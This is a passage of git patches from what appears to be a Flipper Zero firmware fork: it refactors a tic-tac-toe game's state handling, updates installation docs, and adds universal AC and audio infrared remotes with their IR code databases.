} } // Draws the selection box - if(selX == 1) { - selBoxX = 1; - } else if(selX == 2) { - selBoxX = 22; - } else if(selX == 3) { - selBoxX = 43; + if(ts->selX == 1) { + ts->selBoxX = 1; + } else if(ts->selX == 2) { + ts->selBoxX = 22; + } else if(ts->selX == 3) { + ts->selBoxX = 43; } - if(selY == 1) { - selBoxY = 1; - } else if(selY == 2) { - selBoxY = 22; - } else if(selY == 3) { - selBoxY = 43; + if(ts->selY == 1) { + ts->selBoxY = 1; + } else if(ts->selY == 2) { + ts->selBoxY = 22; + } else if(ts->selY == 3) { + ts->selBoxY = 43; } canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, selBoxX, selBoxY, 20, 20); - canvas_draw_frame(canvas, selBoxX + 1, selBoxY + 1, 18, 18); + canvas_draw_frame(canvas, ts->selBoxX, ts->selBoxY, 20, 20); + canvas_draw_frame(canvas, ts->selBoxX + 1, ts->selBoxY + 1, 18, 18); // Draws the sidebar canvas_set_font(canvas, FontPrimary); @@ -103,105 +98,112 @@ void tictactoe_draw(Canvas* canvas) { canvas_draw_str(canvas, 75, 24, "X:"); char scoreXBuffer[10]; - snprintf(scoreXBuffer, sizeof(scoreXBuffer), "%d", scoreX); + snprintf(scoreXBuffer, sizeof(scoreXBuffer), "%d", ts->scoreX); canvas_draw_str(canvas, 88, 24, scoreXBuffer); canvas_draw_str(canvas, 75, 35, "O:"); char scoreOBuffer[10]; - snprintf(scoreOBuffer, sizeof(scoreOBuffer), "%d", scoreO); + snprintf(scoreOBuffer, sizeof(scoreOBuffer), "%d", ts->scoreO); canvas_draw_str(canvas, 88, 35, scoreOBuffer); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 75, 46, "Player:"); - if(player == 'X') { + if(ts->player == 'X') { drawCross(canvas, 93, 50); - } else if(player == 'O') { + } else if(ts->player == 'O') { drawCircle(canvas, 93, 50); } } -void clear_game_field() { +void clear_game_field(TicTacToeState* ts) { // Clears the game field arrays for(uint8_t i = 0; i <= 2; i++) { for(uint8_t j = 0; j <= 2; j++) { - field[i][j] = ' '; - fieldx[i][j] = false; + ts->field[i][j] = ' '; + ts->fieldx[i][j] = false; } } - selX = 2; // Centers the selection box on X axis - selY = 2; // Centers the selection box on Y axis + ts->selX = 2; // Centers the selection box on X axis + ts->selY = 2; // Centers the selection box on Y axis } -void reset_game_data() { - scoreO = 0; - scoreX = 0; - player = 'X'; +void reset_game_data(TicTacToeState* ts) { + ts->scoreO = 0; + ts->scoreX = 0; + ts->player = 'X'; } -void draw_win(Canvas* canvas, char player) { +void draw_win(Canvas* canvas, char player, TicTacToeState* ts) { // Handles the score table if(player == 'X') { - scoreX++; + ts->scoreX++; } else if(player == 'O') { - scoreO++; + ts->scoreO++; } // Switches the players - player_switch(); + player_switch(ts); // Draws the board with players switched - tictactoe_draw(canvas); + tictactoe_draw(canvas, ts); // Clear the game field - clear_game_field(); + clear_game_field(ts); // Draw the new board - tictactoe_draw(canvas); + tictactoe_draw(canvas, ts); } -static void tictactoe_state_init(TicTacToeState* const tictactoe_state) { +static void tictactoe_state_init(TicTacToeState* tictactoe_state) { // Set the initial game state - tictactoe_state->game_state = GameStatePlaying; + tictactoe_state->selX = 2; + tictactoe_state->selY = 2; + tictactoe_state->player = 'X'; + tictactoe_state->coords[0] = 6; + tictactoe_state->coords[1] = 27; + tictactoe_state->coords[2] = 48; + tictactoe_state->button_state = false; - clear_game_field(); + clear_game_field(tictactoe_state); - reset_game_data(); + reset_game_data(tictactoe_state); } static void tictactoe_draw_callback(Canvas* const canvas, void* ctx) { - const TicTacToeState* tictactoe_state = acquire_mutex((ValueMutex*)ctx, 25); - if(tictactoe_state == NULL) { + TicTacToeState* ticst = acquire_mutex((ValueMutex*)ctx, 25); + if(ticst == NULL) { return; } - if(selX > 3) { - selX = 3; - } else if(selX < 1) { - selX = 1; + if(ticst->selX > 3) { + ticst->selX = 3; + } else if(ticst->selX < 1) { + ticst->selX = 1; } - if(selY > 3) { - selY = 3; - } else if(selY < 1) { - selY = 1; + if(ticst->selY > 3) { + ticst->selY = 3; + } else if(ticst->selY < 1) { + ticst->selY = 1; } // Assigns the game field elements their value (X or O) when the OK button is pressed - if(button_state) { - button_state = false; + if(ticst->button_state) { + ticst->button_state = false; for(uint8_t i = 0; i <= 2; i++) { for(uint8_t j = 0; j <= 2; j++) { - if((selX == i + 1) && (selY == j + 1) && (fieldx[i][j] == false)) { - if(player == 'X') { - field[i][j] = 'X'; - fieldx[i][j] = true; - player_switch(); - } else if(player == 'O') { - field[i][j] = 'O'; - fieldx[i][j] = true; - player_switch(); + if((ticst->selX == i + 1) && (ticst->selY == j + 1) && + (ticst->fieldx[i][j] == false)) { + if(ticst->player == 'X') { + ticst->field[i][j] = 'X'; + ticst->fieldx[i][j] = true; + player_switch(ticst); + } else if(ticst->player == 'O') { + ticst->field[i][j] = 'O'; + ticst->fieldx[i][j] = true; + player_switch(ticst); } } } @@ -209,48 +211,80 @@ static void tictactoe_draw_callback(Canvas* const canvas, void* ctx) { } // Checks the game field for winning combinations - if((field[0][0] == 'X') && (field[1][0] == 'X') && (field[2][0] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[0][1] == 'X') && (field[1][1] == 'X') && (field[2][1] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[0][2] == 'X') && (field[1][2] == 'X') && (field[2][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[0][0] == 'X') && (field[0][1] == 'X') && (field[0][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[1][0] == 'X') && (field[1][1] == 'X') && (field[1][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[2][0] == 'X') && (field[2][1] == 'X') && (field[2][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[0][0] == 'X') && (field[1][1] == 'X') && (field[2][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[2][0] == 'X') && (field[1][1] == 'X') && (field[0][2] == 'X')) { - draw_win(canvas, 'X'); - } else if((field[0][0] == 'O') && (field[1][0] == 'O') && (field[2][0] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[0][1] == 'O') && (field[1][1] == 'O') && (field[2][1] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[0][2] == 'O') && (field[1][2] == 'O') && (field[2][2] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[0][0] == 'O') && (field[0][1] == 'O') && (field[0][2] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[1][0] == 'O') && (field[1][1] == 'O') && (field[1][2] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[2][0] == 'O') && (field[2][1] == 'O') && (field[2][2] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[0][0] == 'O') && (field[1][1] == 'O') && (field[2][2] == 'O')) { - draw_win(canvas, 'O'); - } else if((field[2][0] == 'O') && (field[1][1] == 'O') && (field[0][2] == 'O')) { - draw_win(canvas, 'O'); + if((ticst->field[0][0] == 'X') && (ticst->field[1][0] == 'X') && (ticst->field[2][0] == 'X')) { + draw_win(canvas, 'X', ticst); } else if( - (fieldx[0][0] == true) && (fieldx[0][1] == true) && (fieldx[0][2] == true) && - (fieldx[1][0] == true) && (fieldx[1][1] == true) && (fieldx[1][2] == true) && - (fieldx[2][0] == true) && (fieldx[2][1] == true) && (fieldx[2][2] == true)) { - draw_win(canvas, 'T'); + (ticst->field[0][1] == 'X') && (ticst->field[1][1] == 'X') && + (ticst->field[2][1] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[0][2] == 'X') && (ticst->field[1][2] == 'X') && + (ticst->field[2][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[0][0] == 'X') && (ticst->field[0][1] == 'X') && + (ticst->field[0][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[1][0] == 'X') && (ticst->field[1][1] == 'X') && + (ticst->field[1][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[2][0] == 'X') && (ticst->field[2][1] == 'X') && + (ticst->field[2][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[0][0] == 'X') && (ticst->field[1][1] == 'X') && + (ticst->field[2][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[2][0] == 'X') && (ticst->field[1][1] == 'X') && + (ticst->field[0][2] == 'X')) { + draw_win(canvas, 'X', ticst); + } else if( + (ticst->field[0][0] == 'O') && (ticst->field[1][0] == 'O') && + (ticst->field[2][0] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[0][1] == 'O') && (ticst->field[1][1] == 'O') && + (ticst->field[2][1] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[0][2] == 'O') && (ticst->field[1][2] == 'O') && + (ticst->field[2][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[0][0] == 'O') && (ticst->field[0][1] == 'O') && + (ticst->field[0][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[1][0] == 'O') && (ticst->field[1][1] == 'O') && + (ticst->field[1][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[2][0] == 'O') && (ticst->field[2][1] == 'O') && + (ticst->field[2][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[0][0] == 'O') && (ticst->field[1][1] == 'O') && + (ticst->field[2][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->field[2][0] == 'O') && (ticst->field[1][1] == 'O') && + (ticst->field[0][2] == 'O')) { + draw_win(canvas, 'O', ticst); + } else if( + (ticst->fieldx[0][0] == true) && (ticst->fieldx[0][1] == true) && + (ticst->fieldx[0][2] == true) && (ticst->fieldx[1][0] == true) && + (ticst->fieldx[1][1] == true) && (ticst->fieldx[1][2] == true) && + (ticst->fieldx[2][0] == true) && (ticst->fieldx[2][1] == true) && + (ticst->fieldx[2][2] == true)) { + draw_win(canvas, 'T', ticst); } - tictactoe_draw(canvas); + tictactoe_draw(canvas, ticst); - release_mutex((ValueMutex*)ctx, tictactoe_state); + release_mutex((ValueMutex*)ctx, ticst); } static void tictactoe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { @@ -310,26 +344,26 @@ int32_t tictactoe_game_app(void* p) { processing = false; break; case InputKeyRight: - selX++; + tictactoe_state->selX++; break; case InputKeyLeft: - selX--; + tictactoe_state->selX--; break; case InputKeyUp: - selY--; + tictactoe_state->selY--; break; case InputKeyDown: - selY++; + tictactoe_state->selY++; break; case InputKeyOk: - button_state = true; + tictactoe_state->button_state = true; break; } } } } else { // Event timeout - FURI_LOG_D(TAG, "osMessageQueue: Event timeout"); + FURI_LOG_D(TAG, "furi_message_queue: Event timeout"); } view_port_update(view_port); From ec12be2c2aea3989c363a5a8f39b64a77aecd586 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 7 Aug 2022 11:08:26 +0300 Subject: [PATCH 452/461] update docs --- documentation/HowToInstall.md | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/documentation/HowToInstall.md b/documentation/HowToInstall.md index c073ee7de..956b8ef65 100644 --- a/documentation/HowToInstall.md +++ b/documentation/HowToInstall.md @@ -11,6 +11,20 @@

+## With Web Updater + +- Be sure you updated to latest official release before, and verify that microSD card is installed +- Open latest release page - [Releases](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest) +- Connect your device and select `Install via Web Updater` +after that on web updater page - press `Connect` button +- Press `Install` button + +- And wait, if all flashed successfully - you will have all needed assets pre installed +- Done + +
+
+ ## With offline update on flipper ### **Replace (CURRENT VERSION) with version that you downloaded from releases** @@ -59,7 +73,7 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`**
# After install: -- ### If you installed using .dfu - unpack files from archive `sd-card-(CURRENT VERSION).zip` to your microSD card -
+ +- ## [Read instructions how to use plugins and more](https://github.com/Eng1n33r/flipperzero-firmware#instructions) - ## [How To: Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) From 530719eed5d21cb1b54999463415e02108efecae Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 03:58:33 +0300 Subject: [PATCH 453/461] universal remotes for ACs and Audio & some other changes --- .drone.yml | 2 + .../infrared/scenes/infrared_scene_config.h | 2 + .../scenes/infrared_scene_universal.c | 18 +- .../scenes/infrared_scene_universal_ac.c | 50 ++ .../scenes/infrared_scene_universal_audio.c | 61 ++ .../nfc_scene_mf_ultralight_unlock_menu.c | 2 +- assets/resources/Manifest | 6 +- assets/resources/infrared/assets/ac.ir | 209 +++++++ assets/resources/infrared/assets/audio.ir | 562 ++++++++++++++++++ 9 files changed, 907 insertions(+), 5 deletions(-) create mode 100644 applications/infrared/scenes/infrared_scene_universal_ac.c create mode 100644 applications/infrared/scenes/infrared_scene_universal_audio.c create mode 100644 assets/resources/infrared/assets/ac.ir create mode 100644 assets/resources/infrared/assets/audio.ir diff --git a/.drone.yml b/.drone.yml index 997c055ed..7499ccbee 100644 --- a/.drone.yml +++ b/.drone.yml @@ -43,6 +43,8 @@ steps: - cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc - cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir + - cp assets/resources/infrared/assets/ac.ir sd-card/infrared/assets/ac.ir + - cp assets/resources/infrared/assets/audio.ir sd-card/infrared/assets/audio.ir - cp assets/resources/unirf/unirf_map_example.txt sd-card/unirf/unirf_map_example.txt - cp assets/resources/Manifest sd-card/Manifest - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card diff --git a/applications/infrared/scenes/infrared_scene_config.h b/applications/infrared/scenes/infrared_scene_config.h index 26a92056d..111fd2d31 100644 --- a/applications/infrared/scenes/infrared_scene_config.h +++ b/applications/infrared/scenes/infrared_scene_config.h @@ -15,6 +15,8 @@ ADD_SCENE(infrared, remote, Remote) ADD_SCENE(infrared, remote_list, RemoteList) ADD_SCENE(infrared, universal, Universal) ADD_SCENE(infrared, universal_tv, UniversalTV) +ADD_SCENE(infrared, universal_ac, UniversalAC) +ADD_SCENE(infrared, universal_audio, UniversalAudio) ADD_SCENE(infrared, debug, Debug) ADD_SCENE(infrared, error_databases, ErrorDatabases) ADD_SCENE(infrared, rpc, Rpc) diff --git a/applications/infrared/scenes/infrared_scene_universal.c b/applications/infrared/scenes/infrared_scene_universal.c index cc6568834..8c6fe22b2 100644 --- a/applications/infrared/scenes/infrared_scene_universal.c +++ b/applications/infrared/scenes/infrared_scene_universal.c @@ -23,6 +23,20 @@ void infrared_scene_universal_on_enter(void* context) { context); submenu_set_selected_item(submenu, 0); + submenu_add_item( + submenu, + "Audio", + SubmenuIndexUniversalAudio, + infrared_scene_universal_submenu_callback, + context); + + submenu_add_item( + submenu, + "ACs", + SubmenuIndexUniversalAirConditioner, + infrared_scene_universal_submenu_callback, + context); + view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewSubmenu); } @@ -36,10 +50,10 @@ bool infrared_scene_universal_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(scene_manager, InfraredSceneUniversalTV); consumed = true; } else if(event.event == SubmenuIndexUniversalAudio) { - //TODO Implement Audio universal remote + scene_manager_next_scene(scene_manager, InfraredSceneUniversalAudio); consumed = true; } else if(event.event == SubmenuIndexUniversalAirConditioner) { - //TODO Implement A/C universal remote + scene_manager_next_scene(scene_manager, InfraredSceneUniversalAC); consumed = true; } } diff --git a/applications/infrared/scenes/infrared_scene_universal_ac.c b/applications/infrared/scenes/infrared_scene_universal_ac.c new file mode 100644 index 000000000..4b57bb1d8 --- /dev/null +++ b/applications/infrared/scenes/infrared_scene_universal_ac.c @@ -0,0 +1,50 @@ +#include "../infrared_i.h" + +#include "common/infrared_scene_universal_common.h" + +void infrared_scene_universal_ac_on_enter(void* context) { + infrared_scene_universal_common_on_enter(context); + + Infrared* infrared = context; + ButtonPanel* button_panel = infrared->button_panel; + InfraredBruteForce* brute_force = infrared->brute_force; + + infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/ac.ir")); + + //TODO Improve A/C universal remote + button_panel_reserve(button_panel, 1, 1); + uint32_t i = 0; + button_panel_add_item( + button_panel, + i, + 0, + 0, + 3, + 19, + &I_Power_25x27, + &I_Power_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "POWER"); + + button_panel_add_label(button_panel, 6, 11, FontPrimary, "AC remote"); + + view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical); + view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack); + + infrared_show_loading_popup(infrared, true); + bool success = infrared_brute_force_calculate_messages(brute_force); + infrared_show_loading_popup(infrared, false); + + if(!success) { + scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases); + } +} + +bool infrared_scene_universal_ac_on_event(void* context, SceneManagerEvent event) { + return infrared_scene_universal_common_on_event(context, event); +} + +void infrared_scene_universal_ac_on_exit(void* context) { + infrared_scene_universal_common_on_exit(context); +} diff --git a/applications/infrared/scenes/infrared_scene_universal_audio.c b/applications/infrared/scenes/infrared_scene_universal_audio.c new file mode 100644 index 000000000..3003794f9 --- /dev/null +++ b/applications/infrared/scenes/infrared_scene_universal_audio.c @@ -0,0 +1,61 @@ +#include "../infrared_i.h" + +#include "common/infrared_scene_universal_common.h" + +void infrared_scene_universal_audio_on_enter(void* context) { + infrared_scene_universal_common_on_enter(context); + + Infrared* infrared = context; + ButtonPanel* button_panel = infrared->button_panel; + InfraredBruteForce* brute_force = infrared->brute_force; + + infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/audio.ir")); + //TODO Improve Audio universal remote + button_panel_reserve(button_panel, 2, 1); + uint32_t i = 0; + button_panel_add_item( + button_panel, + i, + 0, + 0, + 3, + 19, + &I_Power_25x27, + &I_Power_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "POWER"); + button_panel_add_item( + button_panel, + i, + 1, + 0, + 36, + 19, + &I_Mute_25x27, + &I_Mute_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "MUTE"); + + button_panel_add_label(button_panel, 4, 11, FontSecondary, "Audio remote"); + + view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical); + view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack); + + infrared_show_loading_popup(infrared, true); + bool success = infrared_brute_force_calculate_messages(brute_force); + infrared_show_loading_popup(infrared, false); + + if(!success) { + scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases); + } +} + +bool infrared_scene_universal_audio_on_event(void* context, SceneManagerEvent event) { + return infrared_scene_universal_common_on_event(context, event); +} + +void infrared_scene_universal_audio_on_exit(void* context) { + infrared_scene_universal_common_on_exit(context); +} diff --git a/applications/nfc/scenes/nfc_scene_mf_ultralight_unlock_menu.c b/applications/nfc/scenes/nfc_scene_mf_ultralight_unlock_menu.c index 648aa31dc..13e3af3eb 100644 --- a/applications/nfc/scenes/nfc_scene_mf_ultralight_unlock_menu.c +++ b/applications/nfc/scenes/nfc_scene_mf_ultralight_unlock_menu.c @@ -26,7 +26,7 @@ void nfc_scene_mf_ultralight_unlock_menu_on_enter(void* context) { nfc); submenu_add_item( submenu, - "Auth As Ameebo", + "Auth As Am11bo", SubmenuIndexMfUlUnlockMenuAmeebo, nfc_scene_mf_ultralight_unlock_menu_submenu_callback, nfc); diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 6f24b8e9d..38f878fe0 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659579428 +T:1659898487 D:badusb D:dolphin D:infrared @@ -240,7 +240,9 @@ F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt D:infrared/assets -F:bd53bd964d83abfe4968b2db285ee530:106933:infrared/assets/tv.ir +F:4f656979648633e248c0f7f7a37e3a8d:21271:infrared/assets/ac.ir +F:af70272540bb3b7e87e81f7c522b531d:23933:infrared/assets/audio.ir +F:45d36ceeac6be64eea3a0615a612ccbc:107466:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir new file mode 100644 index 000000000..027e26a04 --- /dev/null +++ b/assets/resources/infrared/assets/ac.ir @@ -0,0 +1,209 @@ +Filetype: IR signals file +Version: 1 +# +# Universal AC IR codes - Brute force by JEREMYNO for Flipper +# Only POWER - BETA version +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6239 515 2191 4487 590 562 536 589 540 559 560 1665 563 563 566 560 538 587 532 567 562 1663 565 561 558 567 542 1658 590 561 537 1662 586 1665 563 1663 565 586 533 566 563 1663 565 1661 618 507 561 565 564 561 538 588 541 1658 560 592 537 563 566 559 540 586 533 567 562 563 535 590 539 561 558 568 541 1657 591 1662 566 1659 559 1667 591 1660 558 1668 560 591 538 561 568 558 540 585 534 565 564 562 536 1688 560 1665 563 1663 565 1661 587 1664 564 1661 567 584 535 565 564 561 538 588 541 559 560 565 534 592 537 562 567 559 539 1685 563 563 536 1663 585 1667 561 537 592 1660 568 558 561 +# +name: POWER +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4482 4413 596 1596 594 527 562 1602 588 1603 587 535 565 530 570 1595 595 526 563 532 568 1597 593 528 561 534 566 1599 591 1599 591 531 569 1596 594 1597 593 528 561 1603 587 1604 596 1595 595 1596 594 1597 593 1598 592 529 560 1604 596 525 564 531 569 526 563 532 568 527 562 533 567 1598 592 1599 591 530 570 1595 595 526 563 532 568 527 562 506 594 528 561 507 593 1598 592 529 571 1595 595 1596 594 1597 593 1598 592 5251 4505 4417 592 1599 591 530 570 1595 595 1596 594 527 562 533 567 1598 592 529 561 535 565 1600 590 531 569 526 563 1602 588 1603 587 534 566 1599 591 1600 590 531 569 1596 594 1597 593 1598 592 1599 591 1600 590 1601 589 532 568 1597 593 529 561 534 566 503 597 499 590 504 596 500 589 1601 589 1602 588 533 567 1599 591 530 570 499 591 504 596 526 563 505 595 501 589 1602 588 533 567 1598 592 1599 591 1600 590 1601 589 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1305 435 1280 432 415 1255 1307 432 1272 439 418 1252 442 1255 1307 431 416 1255 439 1258 447 1251 443 8174 1302 437 1278 433 414 1255 1307 432 1273 438 419 1250 444 1254 1298 440 417 1253 441 1256 438 1259 445 8170 1306 433 1271 439 418 1251 1301 438 1277 434 413 1256 449 1249 1303 435 412 1258 446 1251 443 1254 440 8176 1300 438 1277 434 413 1283 1279 433 1271 440 417 1278 416 1255 1307 431 416 1253 441 1257 447 1250 444 8171 1305 433 1272 439 418 1278 1274 438 1277 433 414 1282 412 1259 1303 434 413 1256 448 1249 445 1252 442 8173 1303 435 1270 440 417 1279 1273 438 1277 433 414 1282 412 1258 1304 433 414 1282 412 1258 446 1250 444 8171 1305 433 1272 438 419 1276 1276 435 1270 441 416 1252 442 1255 1297 440 417 1279 415 1255 439 1257 447 8168 1297 439 1276 434 413 1256 1306 431 1273 436 411 1258 446 1250 1302 409 438 1284 421 1249 445 1252 442 +# +name: POWER +type: parsed +protocol: NEC +address: 81 00 00 00 +command: 6B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 00 FF 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5050 2165 361 1803 367 716 363 718 361 721 358 1806 364 718 362 720 359 723 367 715 364 1800 359 722 368 1797 362 1802 368 714 365 1799 360 1803 367 1798 361 1803 367 1797 362 720 359 1805 365 717 363 719 360 722 368 714 365 717 362 719 360 1804 366 1798 361 721 358 723 367 715 364 718 361 720 359 1805 365 717 362 720 359 722 368 714 365 717 362 719 361 722 368 714 365 716 363 719 360 721 358 724 366 716 363 718 361 1803 367 1797 362 1802 368 1797 362 719 360 722 368 714 365 29579 5061 2156 360 1804 366 717 362 719 360 722 357 1806 364 719 360 721 358 724 366 716 363 1801 358 723 367 1798 361 1802 368 715 364 1800 359 1804 366 1799 360 1804 366 1798 361 721 359 1806 364 718 362 721 359 723 367 715 364 718 362 720 359 1805 365 1799 360 722 368 714 365 717 362 719 361 721 358 724 366 716 363 719 361 721 358 724 366 716 363 1801 358 1806 364 718 361 721 358 1805 365 1800 359 1805 365 717 362 720 359 722 368 714 365 717 362 719 360 722 368 714 365 717 362 1802 368 714 365 717 362 719 361 722 368 1796 363 719 360 721 358 724 366 716 363 719 360 721 358 724 366 716 363 718 362 721 359 723 367 715 364 718 361 720 360 723 367 715 364 718 362 720 359 722 368 715 364 1799 360 1805 365 1799 360 722 368 714 365 716 363 1801 358 724 366 1799 360 721 358 1806 364 718 361 721 358 723 367 716 363 718 362 721 359 723 367 715 364 718 362 720 359 723 367 715 364 718 362 720 359 723 367 715 364 1800 359 722 368 714 365 1799 360 1804 366 1799 360 1804 366 1799 360 1804 366 1798 361 1803 367 +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5618 5586 563 557 564 554 567 553 568 552 569 550 571 548 563 1675 568 1674 569 549 562 556 565 1674 569 1670 563 1679 564 1676 567 552 569 555 566 1669 564 554 567 1672 571 1668 565 556 565 554 567 1672 571 551 570 1665 568 1672 571 1668 565 1673 570 550 571 547 564 1675 568 557 564 1671 562 555 566 1672 571 576 535 557 564 1675 568 552 569 580 541 548 563 555 566 553 568 551 570 1668 565 1675 568 1671 562 1681 562 1673 570 550 561 1677 566 1701 542 551 570 1668 565 555 566 1674 569 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 12 ED 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3302 1644 408 419 410 416 413 1233 405 423 406 1239 409 419 410 417 412 415 414 1232 406 1241 407 419 410 417 412 416 413 1233 405 1241 407 394 435 419 410 417 412 416 413 387 432 422 407 420 409 418 411 416 413 415 404 423 406 421 408 420 409 1237 411 416 413 413 406 422 407 420 409 418 411 417 412 415 414 1232 406 421 408 420 409 418 411 416 413 1232 406 1240 408 1238 410 1236 412 1234 414 1232 406 1240 408 1238 410 417 412 416 413 1233 405 422 407 421 408 419 410 417 412 414 404 397 432 421 408 420 409 1237 411 1234 414 387 432 422 407 1239 409 418 411 416 413 414 405 423 406 1240 408 1237 411 417 412 415 414 414 405 422 407 421 408 418 411 416 413 414 405 423 406 421 408 419 410 417 412 416 413 414 405 422 407 421 408 419 410 416 413 414 405 423 406 421 408 419 410 417 412 416 413 414 404 423 406 421 408 419 410 417 412 414 405 423 406 421 408 419 410 417 412 416 413 414 404 423 406 421 408 419 410 417 412 416 413 413 406 422 407 420 409 418 411 416 413 1233 405 422 407 421 408 1237 411 1235 413 1206 432 1240 408 420 409 418 411 1235 413 415 414 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8523 4238 543 1597 536 1578 544 1595 538 571 511 1576 546 563 519 1594 518 1596 537 4245 515 1598 545 1594 539 544 517 1596 547 563 488 568 514 570 512 571 593 19276 8526 4262 540 1600 512 1601 542 1598 535 548 513 1600 543 567 514 1598 514 1601 542 4214 546 1594 539 1575 537 572 520 1619 514 543 518 565 516 567 515 542 622 19299 8524 4239 542 1598 545 1595 517 1598 545 564 518 1596 516 567 515 1625 518 1570 542 4239 542 1572 540 1600 543 565 485 1602 541 568 513 544 517 566 516 568 596 +# +name: POWER +type: parsed +protocol: NECext +address: 98 6F 00 00 +command: 19 E6 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8963 4401 561 543 558 545 566 537 564 540 561 542 559 1652 561 1650 563 540 561 543 558 545 567 537 564 1647 566 1645 558 1654 559 544 567 536 565 1646 567 1644 559 545 567 537 564 1647 566 537 564 540 561 542 559 545 567 537 564 539 562 541 560 544 567 536 565 538 563 541 560 543 558 545 567 538 563 540 561 542 559 545 567 537 564 539 562 542 559 544 568 536 565 539 562 541 560 543 569 536 565 538 563 541 560 543 558 545 566 538 563 540 561 542 559 545 566 537 564 539 562 542 559 544 567 536 565 539 562 541 560 544 568 536 565 538 563 541 560 543 558 545 567 538 563 540 561 543 558 545 567 537 564 540 561 542 559 544 568 536 565 539 562 541 560 570 542 536 565 538 563 541 560 543 558 546 565 538 563 540 561 543 558 571 541 537 564 540 561 542 559 545 567 537 564 539 562 542 559 544 568 536 565 539 562 541 560 544 568 536 565 538 563 541 560 543 569 535 566 538 563 541 560 543 569 535 566 538 563 541 560 543 569 536 565 538 563 541 560 